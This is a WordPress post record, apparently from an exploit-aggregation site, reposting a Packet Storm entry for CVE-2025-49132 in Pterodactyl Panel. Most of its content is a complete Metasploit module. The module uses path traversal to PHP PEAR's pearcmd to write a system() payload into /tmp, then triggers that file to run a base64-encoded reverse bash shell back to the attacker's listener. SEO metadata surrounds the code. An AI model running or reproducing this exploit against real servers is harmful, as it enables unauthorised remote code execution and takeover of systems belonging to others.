{"id":41168,"date":"2026-02-17T12:46:13","date_gmt":"2026-02-17T12:46:13","guid":{"rendered":"http:\/\/localhost\/?p=41168"},"modified":"2026-02-17T12:46:13","modified_gmt":"2026-02-17T12:46:13","slug":"pterodactyl-panel-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41168","title":{"rendered":"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:55&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP file via the locale functionality and then execute it to gain a reverse&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Pterodactyl Panel Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215741&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-49132&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Pterodactyl Panel \\u003c 1.11.11 Remote Code Execution Vulnerability                                                             |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/pterodactyl.io\/                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.\\n                     The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands. \\n    \\t\\t\\t\\t Successful exploitation may lead to remote shell access under the privileges of the web server user.\\n    \\n    [+] POC : \\n    \\n    set RHOSTS target.com\\n    set RPORT 80\\n    set TARGETURI \/\\n    set LHOST your_ip\\n    set LPORT your_port\\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    require &#8216;base64&#8217;\\n    require &#8216;json&#8217;\\n    require &#8216;rubygems&#8217; \\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Pterodactyl Panel \\u003c 1.11.11 Remote Code Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel\\n              versions before 1.11.11. The vulnerability allows an attacker to write a malicious\\n              PHP file via the locale functionality and then execute it to gain a reverse shell.\\n            },\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;pwndalf&#8217;, \\n              &#8216;indoushka&#8217; \\n            ],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-49132&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/pwndalf\/CVE-2025-49132-PoC&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :unix_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217; }\\n                }\\n              ]\\n            ],\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-10-15&#8217;,\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to the Pterodactyl Panel&#8217;, &#8216;\/&#8217;]),\\n            OptString.new(&#8216;PEAR_PATH&#8217;, [true, &#8216;Path to the PHP PEAR library&#8217;, &#8216;\/usr\/share\/php\/PEAR\/&#8217;]),\\n            OptString.new(&#8216;TMP_FILE&#8217;, [true, &#8216;Temporary file name for payload&#8217;, &#8216;payload.php&#8217;])\\n          ]\\n        )\\n      end\\n    \\n      def check\\n    \\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;version&#8217;)\\n        })\\n    \\n        unless res\\n          return CheckCode::Unknown(&#8216;Connection failed&#8217;)\\n        end\\n    \\n        if res.code == 200 \\u0026\\u0026 res.body\\n          version = extract_version(res.body)\\n          \\n          if version\\n            vprint_status(\\&#8221;Detected Pterodactyl version: #{version}\\&#8221;)\\n    \\n            begin\\n              current_version = Gem::Version.new(version)\\n              vulnerable_version = Gem::Version.new(&#8216;1.11.11&#8217;)\\n              \\n              if current_version \\u003c vulnerable_version\\n                return CheckCode::Appears(\\&#8221;Vulnerable version detected: #{version}\\&#8221;)\\n              else\\n                return CheckCode::Safe(\\&#8221;Patched version detected: #{version}\\&#8221;)\\n              end\\n            rescue ArgumentError =\\u003e e\\n              vprint_error(\\&#8221;Invalid version format: #{e.message}\\&#8221;)\\n              return CheckCode::Unknown(&#8216;Invalid version format&#8217;)\\n            end\\n          end\\n        end\\n    \\n        locale_res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;locales&#8217;, &#8216;locale.json&#8217;)\\n        })\\n    \\n        if locale_res \\u0026\\u0026 locale_res.code == 200\\n          return CheckCode::Detected(&#8216;Pterodactyl panel detected, but version could not be confirmed&#8217;)\\n        end\\n    \\n        CheckCode::Safe(&#8216;Target does not appear to be running Pterodactyl panel&#8217;)\\n      rescue ::Rex::ConnectionError\\n        CheckCode::Unknown(&#8216;Connection failed&#8217;)\\n      end\\n    \\n      def extract_version(body)\\n    \\n        json_data = JSON.parse(body) rescue nil\\n        if json_data.is_a?(Hash) \\u0026\\u0026 json_data[&#8216;version&#8217;]\\n          return json_data[&#8216;version&#8217;]\\n        end\\n    \\n        if body =~ \/\\u003cmeta[^\\u003e]*name=\\&#8221;version\\&#8221;[^\\u003e]*content=\\&#8221;([^\\&#8221;]+)\\&#8221;[^\\u003e]*\\u003e\/i\\n          return $1\\n        end\\n    \\n        if body =~ \/Pterodactyl[^\\u003c]*v?(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/i\\n          return $1\\n        end\\n    \\n        nil\\n      end\\n    \\n      def execute_command(cmd)\\n        encoded_cmd = Base64.strict_encode64(cmd)\\n        payload_cmd = \\&#8221;echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash\\&#8221;\\n        write_uri = normalize_uri(target_uri.path, &#8216;locales&#8217;, &#8216;locale.json&#8217;)\\n        php_payload = \\&#8221;\\u003c?=system(&#8216;#{payload_cmd}&#8217;)?\\u003e\\&#8221;\\n        \\n        print_status(\\&#8221;Attempting to write payload to #{datastore[&#8216;TMP_FILE&#8217;]}\\&#8221;)\\n        write_res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e write_uri,\\n          &#8216;vars_get&#8217; =\\u003e {\\n            &#8216;+config-create+&#8217; =\\u003e &#8221;,\\n            &#8216;locale&#8217; =\\u003e \\&#8221;..\/..\/..\/..\/..#{datastore[&#8216;PEAR_PATH&#8217;]}\\&#8221;,\\n            &#8216;namespace&#8217; =\\u003e &#8216;pearcmd&#8217;,\\n            &#8216;\/&#8217; =\\u003e php_payload + \\&#8221; \/tmp\/#{datastore[&#8216;TMP_FILE&#8217;]}\\&#8221;\\n          }\\n        }, 10) \\n        \\n        unless write_res \\u0026\\u0026 write_res.code == 200\\n          fail_with(Failure::NotVulnerable, &#8216;Failed to write payload&#8217;)\\n        end\\n        \\n        print_good(\\&#8221;Payload written successfully\\&#8221;)\\n    \\n        trigger_uri = normalize_uri(target_uri.path, &#8216;locales&#8217;, &#8216;locale.json&#8217;)\\n        \\n        print_status(\\&#8221;Triggering payload&#8230;\\&#8221;)\\n        begin\\n          send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e trigger_uri,\\n            &#8216;vars_get&#8217; =\\u003e {\\n              &#8216;locale&#8217; =\\u003e &#8216;..\/..\/..\/..\/..\/..\/tmp&#8217;,\\n              &#8216;namespace&#8217; =\\u003e &#8216;payload&#8217;\\n            }\\n          }, 5) \\n        rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout\\n    \\n          vprint_status(&#8216;Trigger request completed (expected timeout\/error)&#8217;)\\n        end\\n        \\n        print_status(&#8216;Payload triggered. Check your listener for incoming connection.&#8217;)\\n        \\n      rescue ::Rex::ConnectionError =\\u003e e\\n        fail_with(Failure::Unreachable, e.message)\\n      end\\n    \\n      def exploit\\n    \\n        if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?\\n          fail_with(Failure::BadConfig, &#8216;No valid payload selected or payload is empty&#8217;)\\n        end\\n        unless target[&#8216;Type&#8217;] == :unix_cmd \\u0026\\u0026 Array(target.arch).include?(ARCH_CMD)\\n          fail_with(Failure::BadConfig, &#8216;Target is not compatible with command payload&#8217;)\\n        end\\n        \\n        print_status(\\&#8221;Exploiting #{datastore[&#8216;RHOSTS&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}\\&#8221;)\\n        command = payload.encoded\\n        execute_command(command)\\n         handler\\n      end\\n    end\\n    \\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215741&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215741\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:55&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-41168","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41168\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:55&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41168\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-17T12:46:13+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741\",\"datePublished\":\"2026-02-17T12:46:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168\"},\"wordCount\":1199,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41168#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168\",\"name\":\"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-17T12:46:13+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41168\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41168#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41168","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:12:55&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP...","og_url":"https:\/\/zero.redgem.net\/?p=41168","og_site_name":"zero redgem","article_published_time":"2026-02-17T12:46:13+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41168#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41168"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741","datePublished":"2026-02-17T12:46:13+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41168"},"wordCount":1199,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41168#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41168","url":"https:\/\/zero.redgem.net\/?p=41168","name":"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-17T12:46:13+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41168#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41168"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41168#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Pterodactyl Panel Remote Code Execution_PACKETSTORM:215741"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41168"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41168\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}